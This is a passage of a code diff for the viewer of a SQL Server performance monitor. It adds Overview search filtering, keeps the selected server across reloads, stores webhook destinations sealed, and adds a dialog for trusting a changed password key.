+    /// servers they show. The guard also skips the handler's load of the visible tab, so this starts it, the way
+    /// the handler did. No row (an empty or fully filtered list) selects nothing and loads nothing, as before.
+    /// </summary>
+    private void RestoreSidebarSelection(FleetServerRow? row)
+    {
+        _suppressSidebarSelection = true;
+        try
+        {
+            ServerList.SelectedItem = row;
+        }
+        finally
+        {
+            _suppressSidebarSelection = false;
+        }
+
+        if (row is not null)
+        {
+            _ = RefreshVisibleAsync();
+        }
+    }
+
     /// <summary>
     /// Lazy per-tab load: switching top-level tabs loads the newly visible one. SelectionChanged is a
     /// bubbling routed event, so selections inside the tab content (a findings grid, an inner server
@@ -1026,33 +1071,43 @@ private async Task LoadServersAsync(bool preserveSelection = false)
 
         try
         {
-            var previousSelection = (ServerList.SelectedItem as FleetServerRow)?.Server.ServerId;
-
             /* The DESIRED-state managed set (config_monitored_servers), enriched with the observed
                collect.servers facts by the shared server_id, so a viewer add/remove/enable is reflected at
                once. Stamp the viewer's favorite pins (matched by server id) and sort favorites-first. */
             var servers = ApplyFavoritesAndSort(await _dataService.GetManagedServersAsync());
+
+            /* Read the servers to keep AFTER the await: a sidebar or picker change made while the list loads is
+               the user's latest choice, and the reload keeps it. */
+            var previousSelection = (ServerList.SelectedItem as FleetServerRow)?.Server.ServerId;
+            var previousRecoServer = (RecommendationsServerSelector.SelectedItem as DarlingServer)?.ServerId;
             _fleet.SetAll(servers);
             ServerList.ItemsSource = _fleet.Visible;
             UpdateServerCountText();
 
+            /* The sidebar's server after this load: the prior one after a server add/edit/remove
+               (preserveSelection), so the view doesn't jump back to the first server; the first one on the
+               initial load. Resolved by SERVER, never by index: once tag rows share this list, row 0 is a header
+               rather than a server. The two pickers below fall back to it. */
+            var sidebarRow = _fleet.ResolveSelection(preserveSelection ? previousSelection : null);
+            var sidebarServerId = sidebarRow?.Server.ServerId;
+
             /* The Recommendations tab has its OWN server selector, synced to the sidebar selection on a
                single-click (SyncAggregateServerSelectors) yet independently changeable while the tab is open.
-               Populate it from the same list; the guard suppresses its SelectionChanged during this initial
-               population so the first load comes from the sidebar-driven RefreshVisibleAsync below (which
-               reads the now-populated combo). */
+               Populate it from the same list. A reload keeps the server it shows while that server exists, and
+               the initial load starts it on the sidebar's server (PickerSelectionAfterReload). The guard
+               suppresses its SelectionChanged here, so the load comes from the RefreshVisibleAsync that
+               RestoreSidebarSelection starts below (which reads the now-populated combo). */
             _populatingRecoServers = true;
             RecommendationsServerSelector.ItemsSource = servers;
-            if (servers.Count > 0)
-            {
-                RecommendationsServerSelector.SelectedIndex = 0;
-            }
+            RecommendationsServerSelector.SelectedItem = ViewerServerSetSync.PickerSelectionAfterReload(
+                servers, preserveSelection ? previousRecoServer : null, sidebarServerId);
             _populatingRecoServers = false;
 
-            /* The FinOps aggregate tab has its OWN server selector too; hand it the same list. It suppresses
-               its selector's SelectionChanged during population (like the Recommendations selector above), so
-               the first FinOps load comes from tab activation, not this call. */
-            FinOpsContent.SetServers(servers);
+            /* The FinOps aggregate tab has its OWN server selector too; hand it the same list. It keeps or falls
+               back the same way, and suppresses its selector's SelectionChanged during population (like the
+               Recommendations selector above), so the first FinOps load comes from tab activation, not this
+               call. */
+            FinOpsContent.SetServers(servers, sidebarServerId, keepSelection: preserveSelection);
 
             var hasServers = servers.Count > 0;
             ServersHintText.Visibility = hasServers ? Visibility.Collapsed : Visibility.Visible;
@@ -1061,14 +1116,9 @@ private async Task LoadServersAsync(bool preserveSelection = false)
 
             if (hasServers)
             {
-                /* Triggers SelectionChanged, which loads the active aggregate tab. Restore the prior
-                   selection after a server add/edit/remove (preserveSelection) so the view doesn't jump
-                   back to the first server; the initial load selects the first.
-
-                   Resolved by SERVER, never by index: once tag rows share this list, row 0 is a header
-                   rather than a server, so a SelectedIndex = 0 fallback would select a non-server and the
-                   aggregate-tab sync would silently never run. */
-                ServerList.SelectedItem = _fleet.ResolveSelection(preserveSelection ? previousSelection : null);
+                /* Selects the sidebar's server and loads the visible tab once, under the suppression guard, so
+                   the restore does not move the two pickers populated above to the sidebar's server. */
+                RestoreSidebarSelection(sidebarRow);
 
                 /* Fold the fleet tags into the sidebar (opt-in: no tags => the list stays flat). Done after
                    the selectors are populated and the initial selection is set, so the tag re-projection
@@ -1181,12 +1231,15 @@ private async Task LoadVisibleTabAsync()
                     break;
                 case TabItem tab when ReferenceEquals(tab, FinOpsTab):
                     /* The picker lists the servers known when LoadServersAsync last ran; a server added since
-                       (by another client) is picked up here, keeping the current selection. */
+                       (by another client) is picked up here, keeping the current selection, or taking the
+                       sidebar's server when the selected one is gone. */
                     if (_dataService is not null)
                     {
                         try
                         {
-                            FinOpsContent.SetServers(ApplyFavoritesAndSort(await _dataService.GetManagedServersAsync()));
+                            FinOpsContent.SetServers(
+                                ApplyFavoritesAndSort(await _dataService.GetManagedServersAsync()),
+                                (ServerList.SelectedItem as FleetServerRow)?.Server.ServerId);
                         }
                         catch (Exception ex) when (ex is not OperationCanceledException)
                         {
@@ -1307,17 +1360,17 @@ private StackPanel CreateServerTabHeader(DarlingServer server)
     private void OnServerTabStatusChanged(string message) => StatusText.Text = message;
 
     /// <summary>
-    /// "Apply to All" from one server tab's toolbar: copy its selected range (and, for a custom range, the
-    /// held From/To as naive-UTC instants, which each tab draws in its own server's zone) to every OTHER open
-    /// server tab so they window on the same period. The source tab is skipped — it already holds the range.
+    /// "Apply to All" from one server tab's toolbar: copy its held range (a rolling length as it is; a fixed range
+    /// or calendar period as the naive-UTC instants it names, which each tab draws in its own server's zone) to every
+    /// OTHER open server tab so they window on the same period. The source tab is skipped — it already holds the range.
     /// </summary>
-    private void OnApplyTimeRangeToAllRequested(ViewerServerTab source, int index, DateTime? customFromUtc, DateTime? customToUtc)
+    private void OnApplyTimeRangeToAllRequested(ViewerServerTab source, PerformanceMonitor.Ui.TimeRangeSpec range)
     {
         foreach (var tab in _openServerTabs.Values)
         {
             if (tab.Content is ViewerServerTab serverTab && !ReferenceEquals(serverTab, source))
             {
-                serverTab.ApplyExternalTimeRange(index, customFromUtc, customToUtc);
+                serverTab.ApplyExternalTimeRange(range);
             }
         }
     }
@@ -1584,7 +1637,9 @@ rather than blanking the Overview — the band counts and ranking still render f
         /* #2753: TotalServers must be the registered fleet size (list.Count, the same source the sidebar's
            "Servers: N" reads), not cards.Count — cards silently drops any server whose per-server summary
            read failed this cycle, which made the Overview's total wobble against the stable sidebar count. */
-        ApplyFleetRollup(FleetRollup.Build(cards, totals, totalServerCount: list.Count));
+        _overviewTotals = totals;
+        _overviewRegisteredCount = list.Count;
+        ApplyFleetRollup(OverviewCardView.BuildRollup(cards, totals, list.Count, OverviewSearchBox?.Text));
 
         StatusText.Text = $"overview — refreshed {DateTime.Now:HH:mm:ss}";
     }
@@ -1615,6 +1670,7 @@ line rather than being silently absorbed into either the healthy or the all-clea
     private void ClearOverviewCards()
     {
         _overviewCards = new List<ServerSummaryItem>();
+        _overviewTotals = null;
         OverviewItemsControl.ItemsSource = null;
         FleetRollupContainer.Visibility = Visibility.Collapsed;
         ApplyOverviewAttentionCount(shown: 0);
@@ -1627,19 +1683,32 @@ private void ClearOverviewCards()
     ///
     /// <para>The predicate is <see cref="FleetRollup.NeedsAttention"/>, the same banding the roll-up counted
     /// the "+N more" with, so the grid the link lands on holds exactly the servers the link was counting.</para>
+    ///
+    /// <para>#5352: the Overview search box narrows the same projection (name or tag, as in Lite), composed with
+    /// the toggle in <see cref="OverviewCardView.Project"/> so the two can never disagree about the grid.</para>
     /// </summary>
     private void ApplyOverviewCardFilter()
     {
-        var shown = _overviewAttentionOnly
-            ? FleetRollup.NeedsAttention(_overviewCards)
-            : _overviewCards;
+        var shown = OverviewCardView.Project(_overviewCards, _overviewAttentionOnly, OverviewSearchBox?.Text);
 
         OverviewItemsControl.ItemsSource = shown;
         ApplyOverviewAttentionCount(shown.Count);
+
+        /* D9: the roll-up above the grid (Needs Attention rows, band counts, "Monitoring N servers") follows the
+           search too, so it never counts servers the grid just hid. Before the first refresh there is no totals read
+           to rebuild from; the refresh builds it. */
+        if (_overviewTotals is { } totals)
+        {
+            ApplyFleetRollup(OverviewCardView.BuildRollup(_overviewCards, totals, _overviewRegisteredCount, OverviewSearchBox?.Text));
+        }
     }
 
+    /// <summary>Live name/tag filter over the Overview cards (#5352). A cheap in-memory pass over the held
+    /// card set, so running it per keystroke is fine; clearing the box restores every card.</summary>
+    private void OverviewSearchBox_TextChanged(object sender, TextChangedEventArgs e) => ApplyOverviewCardFilter();
+
     /// <summary>
-    /// Shows what the filter did, beside the toggle that did it. Only rendered while the filter is on: a grid
+    /// Shows what the filter did, beside the toggle that did it. Only rendered while the filter or the search is on: a grid
     /// showing every server needs no arithmetic, and a filtered one must never be mistakable for it.
     ///
     /// <para>The colour follows the sentence. This line has two of them — a count of servers wanting attention,
@@ -1649,11 +1718,18 @@ private void ApplyOverviewCardFilter()
     /// </summary>
     private void ApplyOverviewAttentionCount(int shown)
     {
-        if (_overviewAttentionOnly)
+        var search = OverviewSearchBox?.Text;
+        var text = OverviewCardView.CountText(_overviewCards, shown, _overviewAttentionOnly, search);
+        if (text is not null)
         {
-            OverviewAttentionCountText.Text = FleetRollup.AttentionFilterCountText(shown, _overviewCards.Count);
+            OverviewAttentionCountText.Text = text;
+            /* A search's own sentence ("No server matches the search.") is neither a count of problems nor an
+               all-clear, so it is neutral; the attention sentences keep their colour-follows-the-sentence rule. */
             OverviewAttentionCountText.SetResourceReference(
-                ForegroundProperty, shown > 0 ? "WarningBrush" : "SuccessBrush");
+                ForegroundProperty,
+                OverviewCardView.IsSearchLine(shown, _overviewAttentionOnly, search, _overviewCards.Count)
+                    ? "ForegroundMutedBrush"
+                    : shown > 0 ? "WarningBrush" : "SuccessBrush");
             OverviewAttentionCountText.Visibility = Visibility.Visible;
             return;
         }
@@ -1766,13 +1842,16 @@ private async Task LoadRecommendationsAsync()
             await _dataService.GetServerClocksAsync(server.ServerId, System.Threading.CancellationToken.None),
             server.ServerId, TimeZoneInfo.Local, DateTime.UtcNow);
 
+        /* #5558: the shared note when this server's node holds a secondary availability group copy of any database. */
+        var replicaNote = await _dataService.GetSecondaryReplicaNoteAsync(server.ServerId);
+
         ApplyRecommendationsViewModel(
             RecommendationsViewModel.FromFindings(
                 rows, server.DisplayName, serverClock,
                 insufficientData: analysisState?.InsufficientData == true,
                 insufficientDataMessage: analysisState?.Message,
                 windowEmpty: analysisState?.WindowEmpty == true,
-                windowEmptyMessage: analysisState?.Message));
+                windowEmptyMessage: analysisState?.Message).WithReplicaNote(replicaNote));
 
         /* #4766: the status line's time and the zone named after it both come from the selected server's clock in
            the display mode now in force. It used to end in a fixed "(local)" on a time that follows the display
@@ -1788,6 +1867,11 @@ await _dataService.GetServerClocksAsync(server.ServerId, System.Threading.Cancel
     /// <summary>Swaps the visible content region to match the view-model's state (mirrors Lite's ApplyViewModel).</summary>
     private void ApplyRecommendationsViewModel(RecommendationsViewModel vm)
     {
+        /* #5558: the availability group note rides with the list or the all-clear, never with a state that replaces them. */
+        var replicaNote = vm.State is RecommendationsState.Loaded or RecommendationsState.Empty ? vm.ReplicaNote : null;
+        RecommendationsReplicaNoteText.Text = replicaNote ?? string.Empty;
+        RecommendationsReplicaNoteText.Visibility = replicaNote is null ? Visibility.Collapsed : Visibility.Visible;
+
         switch (vm.State)
         {
             case RecommendationsState.Loading:
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ManageTagsWindow.xaml.cs b/Darling/PerformanceMonitor.Darling.Viewer/ManageTagsWindow.xaml.cs
index 49b19bbaf8..299afe4022 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ManageTagsWindow.xaml.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ManageTagsWindow.xaml.cs
@@ -14,6 +14,7 @@
 using System.Threading.Tasks;
 using System.Windows;
 using System.Windows.Controls;
+using PerformanceMonitor.Darling.Storage;
 
 namespace PerformanceMonitor.Darling.Viewer;
 
@@ -80,9 +81,6 @@ public bool IsChecked
 /// </summary>
 public partial class ManageTagsWindow : Window
 {
-    /// <summary>Four levels of nesting: a node at depth 0..2 may have children; depth 3 (the 4th) may not.</summary>
-    private const int MaxDepth = 4;
-
     private readonly ViewerDataService _dataService;
     private readonly IReadOnlyList<DarlingServer> _servers;
 
@@ -244,7 +242,7 @@ private void TagTree_SelectedItemChanged(object sender, RoutedPropertyChangedEve
     private void UpdateButtons()
     {
         var hasSelection = _selectedNode is not null;
-        NewChildButton.IsEnabled = hasSelection && _selectedNode!.Depth < MaxDepth - 1;
+        NewChildButton.IsEnabled = hasSelection && _selectedNode!.Depth < ServerTagRules.MaxDepth - 1;
         RenameButton.IsEnabled = hasSelection;
         ColourButton.IsEnabled = hasSelection;
         DeleteButton.IsEnabled = hasSelection;
@@ -417,7 +415,7 @@ private async void NewChild_Click(object sender, RoutedEventArgs e)
             return;
         }
 
-        if (_selectedNode.Depth >= MaxDepth - 1)
+        if (_selectedNode.Depth >= ServerTagRules.MaxDepth - 1)
         {
             MessageBox.Show(this, "Tags can nest at most four levels deep.", "Manage Tags",
                 MessageBoxButton.OK, MessageBoxImage.Information);
@@ -513,8 +511,19 @@ private async void Delete_Click(object sender, RoutedEventArgs e)
         var childNote = descendants > 0 ? $" and its {descendants} child tag(s)" : string.Empty;
         var assignNote = assignments > 0 ? $" This removes {assignments} server assignment(s)." : string.Empty;
 
+        string ruleNote;
+        try
+        {
+            ruleNote = ServerTagCoverage.DeleteWarning(await _dataService.GetServerTagDeleteImpactAsync(_selectedNode.Tag.Id));
+        }
+        catch (Exception ex)
+        {
+            ViewerLogger.Error("ManageTags", "Delete impact read failed", ex);
+            ruleNote = string.Empty;
+        }
+
         var confirm = MessageBox.Show(this,
-            $"Delete ‘{_selectedNode.Tag.Name}’{childNote}?{assignNote} Collected data is not affected.",
+            $"Delete ‘{_selectedNode.Tag.Name}’{childNote}?{assignNote} Collected data is not affected.{ruleNote}",
             "Delete Tag", MessageBoxButton.OKCancel, MessageBoxImage.Warning);
         if (confirm != MessageBoxResult.OK)
         {
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/MuteRuleEditDialog.xaml.cs b/Darling/PerformanceMonitor.Darling.Viewer/MuteRuleEditDialog.xaml.cs
index caed628b4a..209cbaf0ca 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/MuteRuleEditDialog.xaml.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/MuteRuleEditDialog.xaml.cs
@@ -79,10 +79,8 @@ public MuteRuleEditDialog(AlertMuteContext context) : this()
             SelectMetric(context.MetricName);
         if (!string.IsNullOrEmpty(context.DatabaseName))
             DatabasePatternBox.Text = context.DatabaseName;
-        if (!string.IsNullOrEmpty(context.QueryText))
-            QueryTextPatternBox.Text = context.QueryText.Length > 200
-                ? context.QueryText.Substring(0, 200)
-                : context.QueryText;
+        if (context.SeedQueryTextPattern(PerformanceMonitor.Common.SensitiveStatements.Text) is { } seededQueryText)
+            QueryTextPatternBox.Text = seededQueryText;
         if (!string.IsNullOrEmpty(context.WaitType))
             WaitTypePatternBox.Text = context.WaitType;
         if (!string.IsNullOrEmpty(context.JobName))
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/NotificationRouteEditDialog.xaml.cs b/Darling/PerformanceMonitor.Darling.Viewer/NotificationRouteEditDialog.xaml.cs
index 4ffffec86a..3475d285cb 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/NotificationRouteEditDialog.xaml.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/NotificationRouteEditDialog.xaml.cs
@@ -27,9 +27,13 @@ public partial class NotificationRouteEditDialog : Window
     /// <summary>The route as edited — the caller persists it.</summary>
     public NotificationRouteRow Route { get; private set; }
 
+    /// <summary>The route as stored, for the sealed values a blank box keeps (#5366).</summary>
+    private readonly NotificationRouteRow? _stored;
+
     public NotificationRouteEditDialog(NotificationRouteRow? existing = null)
     {
         InitializeComponent();
+        _stored = existing;
 
         foreach (var name in AlertFamily.All)
         {
@@ -60,10 +64,14 @@ public NotificationRouteEditDialog(NotificationRouteRow? existing = null)
             FamilyCombo.SelectedIndex = FamilyIndex(family);
         }
 
-        TeamsUrlBox.Text = Route.TeamsUrl;
-        SlackUrlBox.Text = Route.SlackUrl;
-        GenericUrlBox.Text = Route.GenericUrl;
-        PagerDutyKeyBox.Text = Route.PagerDutyRoutingKey;
+        TeamsUrlBox.Text = ViewerWebhookSealing.ShownText(Route.TeamsUrl);
+        SlackUrlBox.Text = ViewerWebhookSealing.ShownText(Route.SlackUrl);
+        GenericUrlBox.Text = ViewerWebhookSealing.ShownText(Route.GenericUrl);
+        PagerDutyKeyBox.Text = ViewerWebhookSealing.ShownText(Route.PagerDutyRoutingKey);
+        MarkSaved(TeamsUrlBox, Route.TeamsUrl);
+        MarkSaved(SlackUrlBox, Route.SlackUrl);
+        MarkSaved(GenericUrlBox, Route.GenericUrl);
+        MarkSaved(PagerDutyKeyBox, Route.PagerDutyRoutingKey);
         SmtpRecipientsBox.Text = Route.SmtpRecipients;
         EnabledCheckBox.IsChecked = Route.Enabled;
     }
@@ -100,10 +108,11 @@ private static int FamilyIndex(string family)
     private void Save_Click(object sender, RoutedEventArgs e)
     {
         Route.MetricMatch = SelectedFamily() ?? ExactMetricBox.Text.Trim();
-        Route.TeamsUrl = TeamsUrlBox.Text.Trim();
-        Route.SlackUrl = SlackUrlBox.Text.Trim();
-        Route.GenericUrl = GenericUrlBox.Text.Trim();
-        Route.PagerDutyRoutingKey = PagerDutyKeyBox.Text.Trim();
+        /* A blank box keeps the sealed value stored for it; the data service seals anything typed (#5366). */
+        Route.TeamsUrl = ViewerWebhookSealing.CarryKept(TeamsUrlBox.Text, _stored?.TeamsUrl);
+        Route.SlackUrl = ViewerWebhookSealing.CarryKept(SlackUrlBox.Text, _stored?.SlackUrl);
+        Route.GenericUrl = ViewerWebhookSealing.CarryKept(GenericUrlBox.Text, _stored?.GenericUrl);
+        Route.PagerDutyRoutingKey = ViewerWebhookSealing.CarryKept(PagerDutyKeyBox.Text, _stored?.PagerDutyRoutingKey);
         Route.SmtpRecipients = SmtpRecipientsBox.Text.Trim();
         Route.Enabled = EnabledCheckBox.IsChecked == true;
 
@@ -124,5 +133,14 @@ the resolver agree about what kind of route this is. */
         DialogResult = true;
     }
 
+    /// <summary>A box whose value is stored sealed shows nothing, and says so in its tooltip.</summary>
+    private static void MarkSaved(System.Windows.Controls.TextBox box, string? stored)
+    {
+        if (ViewerWebhookSealing.IsSaved(stored))
+        {
+            box.ToolTip = ViewerWebhookSealing.KeepHint;
+        }
+    }
+
     private void Cancel_Click(object sender, RoutedEventArgs e) => DialogResult = false;
 }
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/NotificationRoutesWindow.xaml.cs b/Darling/PerformanceMonitor.Darling.Viewer/NotificationRoutesWindow.xaml.cs
index 4034ba7fa2..0443ccd5eb 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/NotificationRoutesWindow.xaml.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/NotificationRoutesWindow.xaml.cs
@@ -8,6 +8,7 @@
 
 using System;
 using System.Collections.ObjectModel;
+using System.Threading.Tasks;
 using System.Windows;
 using System.Windows.Controls;
 using System.Windows.Input;
@@ -76,7 +77,7 @@ private async void AddRoute_Click(object sender, RoutedEventArgs e)
 
         try
         {
-            await _dataService.InsertNotificationRouteAsync(dialog.Route);
+            await SaveRouteAsync(dialog.Route, null);
             await LoadRoutesAsync();
         }
         catch (Exception ex)
@@ -85,6 +86,36 @@ private async void AddRoute_Click(object sender, RoutedEventArgs e)
         }
     }
 
+    /// <summary>
+    /// Saves a route with its webhook destinations sealed (#5366). The key is asked for only when a destination was typed; a
+    /// route that keeps its saved values needs none. A key notice is shown once.
+    /// </summary>
+    private async Task SaveRouteAsync(NotificationRouteRow route, NotificationRouteRow? stored)
+    {
+        var parent = await _dataService.GetNotificationAsync() ?? NotificationRow.Defaults();
+        ViewerPasswordSealer? sealer = null;
+        string? refusal = null;
+        if (ViewerWebhookSealing.NeedsKey(route, stored))
+        {
+            var key = await ViewerPasswordKey.GetSealKeyAsync(_dataService, this);
+            sealer = key.Sealer;
+            refusal = key.Refusal;
+            if (key.Notice is { } notice)
+            {
+                MessageBox.Show(notice, "Notification Routes", MessageBoxButton.OK, MessageBoxImage.Information);
+            }
+        }
+
+        try
+        {
+            await _dataService.SaveNotificationRouteSealedAsync(route, stored, parent, sealer, refusal);
+        }
+        catch (ViewerPasswordRefusedException ex)
+        {
+            throw new InvalidOperationException(ex.Message, ex);
+        }
+    }
+
     private async void EditRoute_Click(object sender, RoutedEventArgs e)
     {
         if (RoutesGrid.SelectedItem is not NotificationRouteRow selected)
@@ -100,7 +131,7 @@ private async void EditRoute_Click(object sender, RoutedEventArgs e)
 
         try
         {
-            await _dataService.UpdateNotificationRouteAsync(dialog.Route);
+            await SaveRouteAsync(dialog.Route, selected);
             await LoadRoutesAsync();
         }
         catch (Exception ex)
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/OverviewCardView.cs b/Darling/PerformanceMonitor.Darling.Viewer/OverviewCardView.cs
new file mode 100644
index 0000000000..12d7ca143c
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Viewer/OverviewCardView.cs
@@ -0,0 +1,124 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using PerformanceMonitor.Ui;
+
+namespace PerformanceMonitor.Darling.Viewer;
+
+/// <summary>
+/// The pure projection behind the Overview card grid (#5352): the full card set, narrowed by the
+/// needs-attention toggle (#2424) AND the search box, plus the count line that explains what that did.
+/// Kept free of WPF so the composition can be unit-tested, and so <c>ApplyOverviewCardFilter</c> stays the one
+/// place that decides what the grid holds.
+/// </summary>
+public static class OverviewCardView
+{
+    /// <summary>
+    /// The fields a search term matches for a card: display name, instance name, and each tag pill's name, so
+    /// "prod" finds <c>sql-prod-01</c> and every server tagged Production. The same fields as Lite's Overview
+    /// search and the sidebar's.
+    /// </summary>
+    public static string?[] SearchFields(ServerSummaryItem card)
+    {
+        ArgumentNullException.ThrowIfNull(card);
+
+        var fields = new List<string?> { card.DisplayName, card.ServerName };
+        fields.AddRange(card.TagPills.Select(p => p.Name));
+        return fields.ToArray();
+    }
+
+    /// <summary>
+    /// The cards the grid shows: every card, narrowed by the needs-attention predicate when
+    /// <paramref name="attentionOnly"/> is on, and by the search when it is non-blank. Both on means the
+    /// intersection. The caller's order is kept, so the chosen sort survives.
+    /// </summary>
+    public static List<ServerSummaryItem> Project(
+        IReadOnlyList<ServerSummaryItem> cards, bool attentionOnly, string? search)
+    {
+        ArgumentNullException.ThrowIfNull(cards);
+
+        IEnumerable<ServerSummaryItem> shown = attentionOnly ? FleetRollup.NeedsAttention(cards) : cards;
+
+        if (ServerOverviewFilter.Normalize(search) is { } term)
+        {
+            shown = shown.Where(c => ServerOverviewFilter.Matches(term, SearchFields(c)));
+        }
+
+        return shown.ToList();
+    }
+
+    /// <summary>
+    /// The fleet roll-up above the cards, narrowed by the search box (D9 of the final walk): the "Needs Attention"
+    /// rows, the band counts and "Monitoring N servers" count the servers the search leaves, not the whole fleet, so
+    /// the panel and the grid under it agree. With no search it is <see cref="FleetRollup.Build"/> over every card
+    /// and the registered fleet size, as before. With one, it reduces only the matching cards and
+    /// <see cref="FleetRollup.FilteredOfTotal"/> carries the registered size, so the subtitle reads "Monitoring 2 of
+    /// 9 servers". The needs-attention toggle does not narrow it: the panel is the shortlist that toggle opens.
+    /// </summary>
+    public static FleetRollup BuildRollup(
+        IReadOnlyList<ServerSummaryItem> cards, FleetTotals totals, int registeredCount, string? search)
+    {
+        ArgumentNullException.ThrowIfNull(cards);
+
+        if (ServerOverviewFilter.Normalize(search) is not { } term)
+        {
+            return FleetRollup.Build(cards, totals, totalServerCount: registeredCount);
+        }
+
+        var matched = cards.Where(c => ServerOverviewFilter.Matches(term, SearchFields(c))).ToList();
+        var rollup = FleetRollup.Build(matched, totals, totalServerCount: matched.Count);
+        rollup.FilteredOfTotal = registeredCount;
+        return rollup;
+    }
+
+    /// <summary>
+    /// The line beside the toggle, or null when nothing narrows the grid (no toggle, no search): a grid
+    /// showing every server needs no arithmetic. A search that emptied the grid says so itself; it must never
+    /// fall through to the all-clear, which claims the fleet is healthy.
+    /// </summary>
+    public static string? CountText(
+        IReadOnlyList<ServerSummaryItem> cards, int shown, bool attentionOnly, string? search)
+    {
+        ArgumentNullException.ThrowIfNull(cards);
+
+        var searching = ServerOverviewFilter.Normalize(search) is not null;
+
+        if (!searching)
+        {
+            return attentionOnly ? FleetRollup.AttentionFilterCountText(shown, cards.Count) : null;
+        }
+
+        if (cards.Count == 0)
+        {
+            return attentionOnly ? FleetRollup.AttentionFilterCountText(shown, cards.Count) : null;
+        }
+
+        if (shown > 0)
+        {
+            return $"showing {shown} of {cards.Count}";
+        }
+
+        /* Empty grid with a search on. When the toggle is also on, the search may have matched cards that are
+           simply healthy; saying "no match" would then be false, and the all-clear would be a lie about the
+           whole fleet, so that case gets its own sentence. */
+        if (attentionOnly && Project(cards, attentionOnly: false, search).Count > 0)
+        {
+            return "No server matching the search needs attention.";
+        }
+
+        return ServerOverviewFilter.NoMatchText;
+    }
+
+    /// <summary>True when the count line's sentence is the search's, not the attention filter's, so the viewer
+    /// colours it neutrally instead of amber (a count) or green (an all-clear).</summary>
+    public static bool IsSearchLine(int shown, bool attentionOnly, string? search, int cardCount) =>
+        cardCount > 0 && ServerOverviewFilter.Normalize(search) is not null && (shown == 0 || !attentionOnly);
+}
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/PasswordKeyChangedDialog.xaml b/Darling/PerformanceMonitor.Darling.Viewer/PasswordKeyChangedDialog.xaml
new file mode 100644
index 0000000000..1facdcc0a0
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Viewer/PasswordKeyChangedDialog.xaml
@@ -0,0 +1,40 @@
+<Window x:Class="PerformanceMonitor.Darling.Viewer.PasswordKeyChangedDialog"
+        xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
+        xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
+        Title="Password key changed"
+        SizeToContent="Height" Width="560"
+        WindowStartupLocation="CenterOwner"
+        ResizeMode="NoResize"
+        ShowInTaskbar="False"
+        Background="{DynamicResource BackgroundDarkBrush}">
+    <Grid Margin="16">
+        <Grid.RowDefinitions>
+            <RowDefinition Height="Auto"/>
+            <RowDefinition Height="Auto"/>
+            <RowDefinition Height="Auto"/>
+            <RowDefinition Height="Auto"/>
+            <RowDefinition Height="Auto"/>
+        </Grid.RowDefinitions>
+
+        <TextBlock Grid.Row="0" TextWrapping="Wrap" Margin="0,0,0,10"
+                   Foreground="{DynamicResource ForegroundBrush}"
+                   Text="This store's password key is not the one this viewer saved for it. Passwords cannot be saved until you trust the new key."/>
+
+        <TextBlock x:Name="SavedLabel" Grid.Row="1" Margin="0,0,0,6" TextWrapping="Wrap" Foreground="{DynamicResource ForegroundBrush}"/>
+        <TextBlock x:Name="NewLabel" Grid.Row="2" Margin="0,0,0,10" TextWrapping="Wrap" Foreground="{DynamicResource ForegroundBrush}"/>
+
+        <CheckBox x:Name="CheckedBox" Grid.Row="3" Margin="0,0,0,0"
+                  Foreground="{DynamicResource ForegroundBrush}"
+                  Checked="CheckedBox_Changed" Unchecked="CheckedBox_Changed">
+            <TextBlock TextWrapping="Wrap"
+                       Text="I checked that the new key matches the 'Password key' line in the service log"/>
+        </CheckBox>
+
+        <StackPanel Grid.Row="4" Orientation="Horizontal"
+                    HorizontalAlignment="Right" Margin="0,14,0,0">
+            <Button x:Name="TrustButton" Content="_Trust the new key" Width="130" Margin="0,0,8,0"
+                    IsEnabled="False" Click="Trust_Click"/>
+            <Button Content="_Cancel" Width="76" IsDefault="True" IsCancel="True"/>
+        </StackPanel>
+    </Grid>
+</Window>
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/PasswordKeyChangedDialog.xaml.cs b/Darling/PerformanceMonitor.Darling.Viewer/PasswordKeyChangedDialog.xaml.cs
new file mode 100644
index 0000000000..e7204bd85d
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Viewer/PasswordKeyChangedDialog.xaml.cs
@@ -0,0 +1,42 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.Windows;
+
+namespace PerformanceMonitor.Darling.Viewer;
+
+/// <summary>
+/// Shown when a store publishes a password key that differs from the one this viewer saved for it (#5366). It shows both
+/// keys. "Trust the new key" stays disabled until the operator ticks that the new key matches the 'Password key' line in
+/// the service log; trusting replaces the saved key. The dialog returns true only for a trusted key.
+/// </summary>
+public partial class PasswordKeyChangedDialog : Window
+{
+    public PasswordKeyChangedDialog(ViewerPasswordKeyChange change)
+    {
+        InitializeComponent();
+        SavedLabel.Text = "Saved key: " + change.SavedDisplay + FingerprintLine(change.SavedFingerprint);
+        NewLabel.Text = "New key: " + change.NewDisplay + FingerprintLine(change.NewFingerprint);
+    }
+
+    private static string FingerprintLine(string fingerprint) =>
+        fingerprint.Length == 0 ? "" : "\nFull fingerprint: " + fingerprint;
+
+    private void CheckedBox_Changed(object sender, RoutedEventArgs e) =>
+        TrustButton.IsEnabled = CheckedBox.IsChecked == true;
+
+    private void Trust_Click(object sender, RoutedEventArgs e)
+    {
+        if (CheckedBox.IsChecked != true)
+        {
+            return;
+        }
+
